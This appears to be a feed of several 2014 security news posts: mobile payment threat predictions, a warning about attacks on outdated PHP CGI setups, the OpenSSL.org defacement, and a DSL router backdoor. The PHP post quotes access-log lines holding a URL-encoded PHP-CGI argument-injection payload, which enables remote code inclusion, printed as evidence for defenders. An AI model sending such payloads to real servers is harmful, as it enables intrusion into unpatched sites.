2014 Threats Predictions: Mobile Attackers to Benefit From New Payment Methods

This post is one in a series of articles that expand on the recently released McAfee Labs 2014 Threats Predictions. In this and related posts, McAfee Labs researchers offer their views of new and evolving threats we expect to see in the coming year. This article was written by Jimmy Shah.

We wrote last year about the future dangers of mobile worms exploiting near-field communications. This year many high-end phones came with NFC hardware. Next year we should see NFC-capable phones that let consumers pay with their phones everywhere they can pay with a credit card. Unfortunately, we’ll also see thieves find ways to turn your grande latte order into a more expensive event.

There are now more ways to pay for things via mobile phone, using services such as Square, PayPal, or Coin. Attackers will find ways to skim cards using mobile credit card readers, or swipe information from apps on the phone. More ways to pay will lead to more ways for attackers to hijack your money.

Malware developers are hard at work creating ransomware for mobile phones. Currently we see malware that pretends to lock your phone, offering to release it upon payment of a ransom. It’s a short step for malware writers to encrypt your phone’s disk and make the threat real.

As more apps are converted from proprietary platforms to HTML5 in the name of cross-platform compatibility, attackers will put more resources into exploiting such apps. Attackers will develop exploits that target HTML5 apps or native drivers (audio, video, file system, etc.).

How about a bit of good news? Android 4.2 includes a security feature that makes it harder for SMS-sending malware to steal money without an owner’s knowledge. The feature informs users whenever a message is about to be sent to a premium-rate number. This simple step will cut into the easy money attackers made because users will no longer be unaware that the new app they installed costs money.

Hackers Still Targetting Outdated PHP Versions

Back in May we discussed a website we cleaned up that had been hacked due the exploitation of a vulnerability in the outdated version of PHP being used on the server. The hack would have prevented if PHP had been kept up to date, but based on the fact that we have recently had numerous attempts to exploit the vulnerability there must a fair number of website still being run on vulnerable versions.

The vulnerability in question was fixed in versions 5.3.13 and 5.4.3 and only impacts CGI-based setups. The most recent releases of PHP – 5.3.28, 5.4.23, and 5.5.7 – all include security updates, so PHP should be upgraded to those versions as soon as possible.

If you are wondering what version of PHP your web host is using for your website there are a number of ways to find that out. The least technical way to do that is to contact their customer support and ask them what version of PHP in use. It would also be good to ask them what their upgrade policy is for PHP and other software powering the web server, to make sure that they properly handling that. You can sometimes find the PHP version in use in the control panel for your website or the administrative area of the website. You can also use a tool we have created that allows you to check the version of various software running the server your website is on.

An example of the requests we have been seeing recently is included below. One change from the successful hack we mentioned in the previous post is that the requests are encoded in this instance. That could be to make it harder for software attempting to filter malicious requests to detect that the requests are malicious.

209.139.209.78 – - [31/Dec/2013:23:38:21 -0500] “POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1″ 301 2347 “-” “Googlebot/2.1 (+http://www.googlebot.com/bot.html)”

209.139.209.78 – - [31/Dec/2013:23:38:22 -0500] “POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1″ 301 2347 “-”

“Googlebot/2.1 (+http://www.googlebot.com/bot.html)”
209.139.209.78 – - [31/Dec/2013:23:38:23 -0500] “POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1″ 301 2347 “-” “Googlebot/2.1 (+http://www.googlebot.com/bot.html)”

209.139.209.78 – - [31/Dec/2013:23:38:24 -0500] “POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1″ 301 2347 “-” “Googlebot/2.1(+http://www.googlebot.com/bot.html)”

209.139.209.78 – - [31/Dec/2013:23:38:24 -0500] “POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1″ 301 2347 “-” “Googlebot/2.1 (+http://www.googlebot.com/bot.html)”

OpenSSL site defacement involving hypervisor hack rattles nerves (updated)

The official website for the widely used OpenSSL code library was compromised four days ago in an incident that is stoking concerns among some security professionals.

Code repositories remained untouched in the December 29 hack, and the only outward sign of a breach was a defacement left on the OpenSSL.org home page. The compromise is nonetheless rattling some nerves. In a brief advisory last updated on New Year's Day, officials said "the attack was made via hypervisor through the hosting provider and not via any vulnerability in the OS configuration." The lack of additional details raised the question of whether the same weakness may have been exploited to target other sites that use the same service. After all, saying a compromise was achieved through a hypervisor vulnerability in the Web host of one of the Internet's most important sites isn't necessarily comforting news if the service or hypervisor platform is widely used by others.

Update: About 12 hours after this brief was published, OpenSSL updated the advisory to say: "The OpenSSL server is a virtual server which shares a hypervisor with other customers of the same ISP. Our investigation found that the attack was made through insecure passwords at the hosting provider, leading to control of the hypervisor management console, which then was used to manipulate our virtual server."

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Backdoor in wireless DSL routers lets attacker reset router, get admin

Eloi Vanderbecken explains the motivation for hacking his own WiFi router in pictures.
Eloi Vanderbeken

A hacker has found a backdoor to wireless combination router/DSL modems that could allow an attacker to reset the router’s configuration and gain access to the administrative control panel. The attack, confirmed to work on several Linksys and Netgear DSL modems, exploits an open port accessible over the wireless local network.

The backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources. Update: Vanderbeken reports some routers have the backdoor open to the Internet side as well, leaving them vulnerable to remote attack.

Eloi Vanderbeken described the backdoor in a PowerPoint posted with the code to Github. In his illustrated report, he explained how over the Christmas holiday he was trying to get access to the administrative console of his family’s Linksys WAG200G wireless DSL gateway wirelessly—mostly so he could limit how much bandwidth the others in the house were using. But Vanderbeken had previously turned off wireless access to the administration web console (and had forgotten his administrative password).

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